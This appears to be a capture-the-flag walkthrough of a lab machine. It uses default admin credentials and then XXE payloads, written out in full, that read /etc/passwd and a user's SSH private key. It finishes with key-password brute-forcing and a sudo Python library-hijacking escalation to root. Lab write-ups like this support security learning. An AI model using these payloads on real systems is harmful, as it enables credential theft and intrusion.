Enumeration
Nmap
Port 80
This page has a login page and we can access with default credentials, like: admin/admin
After pass the login, we can see the page has a comment option
When we click “submit” the page create an alert saying that we need to insert XML code. We can see a random character and we receive empty fields
Now we can create our xml payload
XXE
I use this payload to test XXE and the variable show on name field
<!DOCTYPE test [<!ENTITY xxe "Teste">]><root><name>&xxe;</name><author>aaa</author></root>
We can use XXE to read internal files
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><name>&xxe;</name><author>aaa</author></root>
Note: Use burpsuite to make the request, it’s easier.
The machine has a user name Suporte. We can try to enumerate his home directory and try to grab the private key
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///home/suporte/.ssh/id_rsa">]><root><name>&xxe;</name><author>aaa</author></root>
We need to bruteforce the private-key password
Note: user.txt is in /opt directory
Root
This script import os, but never use. We can see if user suporte has access to lib os
Library hijacking
sudo /usr/bin/python3.6 /opt/vert.py